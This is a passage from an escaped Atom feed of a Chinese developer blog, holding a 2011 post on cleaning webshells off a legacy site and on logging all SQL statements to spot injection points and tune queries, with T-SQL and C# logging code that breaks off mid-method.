src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;// &lt;![CDATA[// ]]&gt;&lt;/script&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2235627.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/11/04/2235627.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html</id><title type="text">记一次成功的sql注入入侵检测附带sql性能优化</title><summary type="text">很多同学和园友都遇到过sql注入的，其中大部分都是代码的不严谨造成的，都是犯过很多错误才学会认真起来。但是如果是让你接手一个二等残废的网站，并让你在上面改版，而且不能推翻式改版，只能逐步替换旧的程序，那么你会非常痛苦，例如我遇到的问题：问题1. 老板对你说，以前刚做完网站好好了，没有出现木马，怎么你来了，就会出现木马，先别说了，赶紧解决问题，我彻底无语，但是如果争吵，其实证明你和老板一样无知，拿出证据和事实分析来让公司其他稍微懂技术的一起来证明，公司网站被挂马不是你来了的错。如是我通过网站目录仔...</summary><published>2011-09-25T08:52:00Z</published><updated>2011-09-25T08:52:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html"/><content type="html">&lt;p&gt;很多同学和园友都遇到过sql注入的，其中大部分都是代码的不严谨造成的，都是犯过很多错误才学会认真起来。&lt;/p&gt;&lt;p&gt;但是如果是让你接手一个二等残废的网站，并让你在上面改版，而且不能推翻式改版，只能逐步替换旧的程序，那么你会非常痛苦，例如我遇到的问题：&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;问题1. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;老板对你说，以前刚做完网站好好了，没有出现木马，怎么你来了，就会出现木马，先别说了，赶紧解决问题，我彻底无语，但是如果争吵，其实证明你和老板一样无知，拿出证据和事实分析来让公司其他稍微懂技术的一起来证明，公司网站被挂马不是你来了的错。&lt;/p&gt;&lt;p&gt;如是我通过网站目录仔细排查将通过fck上传的网马删除并修补fck的上传漏洞并记下了这篇 &amp;nbsp;&lt;a id="ctl02_TitleUrl" class="postTitle2" href="http://www.cnblogs.com/jqbird/archive/2011/08/01/2123842.html" style="color: #6466b3; text-decoration: none; padding: 0px; margin: 0px;"&gt;Fckeditor使用笔记&lt;/a&gt;&amp;nbsp;，其实很多人都遇到过，也解决过，都是小问题，但是让你老板明白比解决漏洞问题更蛋疼，我那解释的叫一个汗啊，恨不得把公司所有稍微懂点技术的都叫上让他们看什么是大马什么是小马，然后演示怎么上传木马，奶奶的，黑客教程普及啊。&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;问题2. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;/strong&gt;网站又出现问题，上次的问题解决了不过两个月，网站又被入侵挂马，如是老板这次再说因为我来了才出问题，立马走人，这就是为什么不能更不懂技术的人硬碰硬，更不能和你的老板来说，说了你又不懂。&lt;/p&gt;&lt;p&gt;但是要命的是网站是以前的技术开发的二等残废，在别个的cms上修改的，我必须保证网站在的开发的同时旧的模块还可以使用，通过逐步更新的方法将网站底层翻新，但是那么多页面，你很难一个一个去检测那个页面有漏洞，如是写出下面的检测代码，没想到这么简单的就搞定了，并且可以通过此方法优化你的sql。&lt;/p&gt;&lt;p&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;第一步建立一个sql日志表 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;CREATE&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;TABLE&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;dbo&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;.&lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;my_sqllog&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;(&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;id&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;bigint&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff00ff;"&gt;IDENTITY&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;1&lt;/span&gt;,&lt;span style="color: #800000; font-weight: bold;"&gt;1&lt;/span&gt;) &lt;span style="color: #808080;"&gt;NOT&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;hit&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;bigint&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;sqltext&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;varchar&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;(&lt;span style="color: #ff00ff;"&gt;max&lt;/span&gt;) COLLATE Chinese_PRC_CI_AS &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;paramdetails&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;varchar&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;(&lt;span style="color: #ff00ff;"&gt;max&lt;/span&gt;) COLLATE Chinese_PRC_CI_AS &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;begintime&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;datetime&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;endtime&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;datetime&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;fromurl&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;varchar&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;(&lt;span style="color: #ff00ff;"&gt;max&lt;/span&gt;) COLLATE Chinese_PRC_CI_AS &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;ip&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;varchar&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;(&lt;span style="color: #800000; font-weight: bold;"&gt;20&lt;/span&gt;) COLLATE Chinese_PRC_CI_AS &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;lastelapsedtime&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;bigint&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;NULL&lt;/span&gt;,&lt;br /&gt; &lt;span style="color: #0000ff;"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;PK_my_sqllog&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;PRIMARY&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;KEY&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;CLUSTERED&lt;/span&gt; &lt;br /&gt;(&lt;br /&gt;    &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;id&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;ASC&lt;/span&gt;&lt;br /&gt;)&lt;span style="color: #0000ff;"&gt;WITH&lt;/span&gt; (IGNORE_DUP_KEY &lt;span style="color: #808080;"&gt;=&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;OFF&lt;/span&gt;) &lt;span style="color: #0000ff;"&gt;ON&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;PRIMARY&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;&lt;br /&gt;) &lt;span style="color: #0000ff;"&gt;ON&lt;/span&gt; &lt;span style="color: #ff0000;"&gt;[&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;PRIMARY&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;]&lt;/span&gt;&lt;/div&gt;&lt;p&gt;记录sql语句、此sql语句被执行次数，参数及值，记录开始时间，结束时间，来自哪个页面，ip和此条语句执行时间(暂时没用)&lt;br /&gt;&lt;span style="background-color: #99ccff;"&gt;&lt;strong&gt;第二步在sqlhelper里写记录代码 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;两个方法本来可以写成private的，但是此二等残废的网站其他地方用的别的sqlhelper类，就直接调用此处通过合理优化的sqlhelper类的方法了。&lt;/p&gt;&lt;p&gt;代码1：插入日志&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; ExecuteSqlLog(CommandType commandType, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; commandText, &lt;span style="color: #0000ff;"&gt;params&lt;/span&gt; DbParameter[] cmdParams)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; 参数处理&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; colums = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; dbtypes = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; values = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; paramdetails = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (cmdParams != &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt; &amp;amp;&amp;amp; cmdParams.Length &amp;gt; &lt;span style="color: #800080;"&gt;0&lt;/span&gt;)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt; (DbParameter param &lt;span style="color: #0000ff;"&gt;in&lt;/span&gt; cmdParams)&lt;br /&gt;                {&lt;br /&gt;                    &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (param == &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;)&lt;br /&gt;                    {&lt;br /&gt;                        &lt;span style="color: #0000ff;"&gt;continue&lt;/span&gt;;&lt;br /&gt;                    }&lt;br /&gt;&lt;br /&gt;                    colums += param.ParameterName + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt; &lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;;&lt;br /&gt;                    dbtypes += param.DbType + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt; &lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;;&lt;br /&gt;                    values += param.Value + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;；&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;;&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                paramdetails = &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;.Format(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt; {0},{1},{2}&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, colums, dbtypes, values);&lt;br /&gt;            }&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; fromurl = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (System.Web.HttpContext.Current!=&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;)&lt;br /&gt;            {&lt;br /&gt;                fromurl = System.Web.HttpContext.Current.Request.Url.ToString();&lt;br /&gt;            }&lt;br /&gt;           &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; commandText = commandText.Replace("'","&amp;lsquo;").Replace(";","；");&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            SqlParameter[] parameters = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter[]&lt;br /&gt;                                          {&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@hit&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,&lt;span style="color: #800080;"&gt;1&lt;/span&gt;),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@sqltext&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,commandText),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@paramdetails&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,paramdetails),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@begintime&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,DateTime.Now),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@endtime&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,DateTime.Now),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@fromurl&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,fromurl),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@ip&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,Web.PressRequest.GetIP()),&lt;br /&gt;                                              &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@lastelapsedtime&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,&lt;span style="color: #800080;"&gt;0&lt;/span&gt;), &lt;br /&gt;                                          };&lt;br /&gt;&lt;br /&gt;           &lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;using&lt;/span&gt; (DbConnection connection = Factory.CreateConnection())&lt;br /&gt;            {&lt;br /&gt;                connection.ConnectionString = GetRealConnectionString(commandText);&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;ConnectionString;&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; sql = &lt;span style="color: #800000;"&gt;""&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 执行DbCommand命令,并返回结果.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; id =&lt;br /&gt;                    Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,&lt;br /&gt;                                                                  &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;select top 1 id from my_sqllog where sqltext=@sqltext&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;,&lt;br /&gt;                                                                  &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; SqlParameter(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;@sqltext&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;, commandText)));&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (id &amp;gt; &lt;span style="color: #800080;"&gt;0&lt;/span&gt;)&lt;br /&gt;                {&lt;br /&gt;                    sql = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + id;&lt;br /&gt;                }&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;else&lt;/span&gt;&lt;br /&gt;                {&lt;br /&gt;                    sql = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;;&lt;br /&gt;                }&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 创建DbCommand命令,并进行预处理&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                DbCommand cmd = Factory.CreateCommand();&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;bool&lt;/span&gt; mustCloseConnection = &lt;span style="color: #0000ff;"&gt;false&lt;/span&gt;;&lt;br /&gt;                PrepareCommand(cmd, connection, (DbTransaction)&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;, commandType, sql, parameters, &lt;span style="color: #0000ff;"&gt;out&lt;/span&gt; mustCloseConnection);&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 执行DbCommand命令,并返回结果.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; retval = cmd.ExecuteNonQuery();&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 清除参数,以便再次使用.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                cmd.Parameters.Clear();&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (mustCloseConnection)&lt;br /&gt;                    connection.Close();&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; retval;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          &lt;br /&gt;        }&lt;/div&gt;&lt;p&gt;代码2：判断此条sql是否存在&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;private&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt; ExecuteScalarLog( CommandType commandType, &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; commandText, &lt;span style="color: #0000ff;"&gt;params&lt;/span&gt; DbParameter[] commandParameters)&lt;br /&gt;        {&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (ConnectionString == &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt; || ConnectionString.Length == &lt;span style="color: #800080;"&gt;0&lt;/span&gt;) &lt;span style="color: #0000ff;"&gt;throw&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; ArgumentNullException(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;ConnectionString&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 创建并打开数据库连接对象,操作完成释放对象.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;using&lt;/span&gt; (DbConnection connection = Factory.CreateConnection())&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (connection == &lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;) &lt;span style="color: #0000ff;"&gt;throw&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; ArgumentNullException(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;connection&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;connection.Close();&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                connection.ConnectionString = GetRealConnectionString(commandText);&lt;br /&gt;                connection.Open();&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 创建DbCommand命令,并进行预处理&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                DbCommand cmd = Factory.CreateCommand();&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;bool&lt;/span&gt; mustCloseConnection = &lt;span style="color: #0000ff;"&gt;false&lt;/span&gt;;&lt;br /&gt;                PrepareCommand(cmd, connection, (DbTransaction)&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;, commandType, commandText, commandParameters, &lt;span style="color: #0000ff;"&gt;out&lt;/span&gt; mustCloseConnection);&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 执行DbCommand命令,并返回结果.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                &lt;span style="color: #0000ff;"&gt;object&lt;/span&gt; retval = cmd.ExecuteScalar();&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt; 清除参数,以便再次使用.&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;                cmd.Parameters.Clear();&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (mustCloseConnection)&lt;br /&gt;                    connection.Close();&lt;br /&gt;&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; retval;&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;        